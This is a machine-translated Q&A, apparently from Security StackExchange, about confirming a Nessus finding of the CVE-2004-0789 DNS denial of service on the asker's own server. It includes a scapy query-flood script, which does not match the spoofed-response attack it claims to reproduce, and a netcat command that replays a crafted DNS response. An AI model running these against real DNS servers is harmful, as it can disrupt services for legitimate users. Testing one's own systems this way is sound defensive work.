我使用Nessus检查我的use服务器上的漏洞。它是一个Windows。Nessus报告说,此服务器存在CVE-2004-0789漏洞.
下面是Nessus的描述:
The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.如何检查我的服务器上是否确实存在此漏洞?这方面有什么概念的证据吗?
更新:Nessus报告中的一些截图

发布于 2019-09-19 13:01:17
我终于找到了一个概念代码的工作证明:
#! /usr/bin/env python
import sys
from scapy.all import *
top_level = ".ch"
domain = "192.168.1.133" # enter the DNS server IP
cnt = 10000 # enter the count of request to be send
dns_server = "192.168.1.133" # enter the same DNS server IP
for i in range(0,cnt):
s = RandString(RandNum(1,8))
s1 = s.lower()
q = s1+"."+domain+top_level
print i,q
sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))发布于 2017-12-28 22:12:20
通过使用十六进制编辑器创建响应文件(我使用了Nessus google示例),然后通过netcat将数据发送到目标DNS服务器,基本的Nessus测试似乎是可以复制的:
因此:
od -ah dns-response-dos.txt
0000000 ` x enq etx nul soh nul nul nul nul nul nul etx w w w
f860 8385 0100 0000 0000 0000 7703 7777
0000020 ack g o o g l e etx c o m nul nul dle nul soh
6706 6f6f 6c67 0365 6f63 006d 1000 0100
0000040然后...and:
cat dns-response-dos.txt | nc -u "target dns server" 53
`���wwwgooglecom^C..produces一个回应.
垃圾数据不产生响应。
发布于 2016-08-16 18:43:33
一个供应商安全页面的一段摘录谈到了这是一个怎样的问题以及它是如何工作的。
代码不安全的主要原因是,当输入数据时,所讨论的代码具有未定义的结果,这与代码的作者期望的格式不同。最简单的情况是缓冲区溢出,在这种情况下,程序被赋予字符串的时间远远长于程序所能处理的时间。另一个例子是另一个DNS实现的古老版本所具有的“缓存毒”错误。对于这个错误,告诉DNS服务器,例如,www.yahoo.com的ip地址是10.69.69.69,这确实指向了一些安装间谍软件的低劣站点,这是一件微不足道的事情。为什么会有这种臭虫?因为此服务器的原始作者并不期望远程服务器故意提供不正确的IP地址。
https://security.stackexchange.com/questions/134034
复制相似问题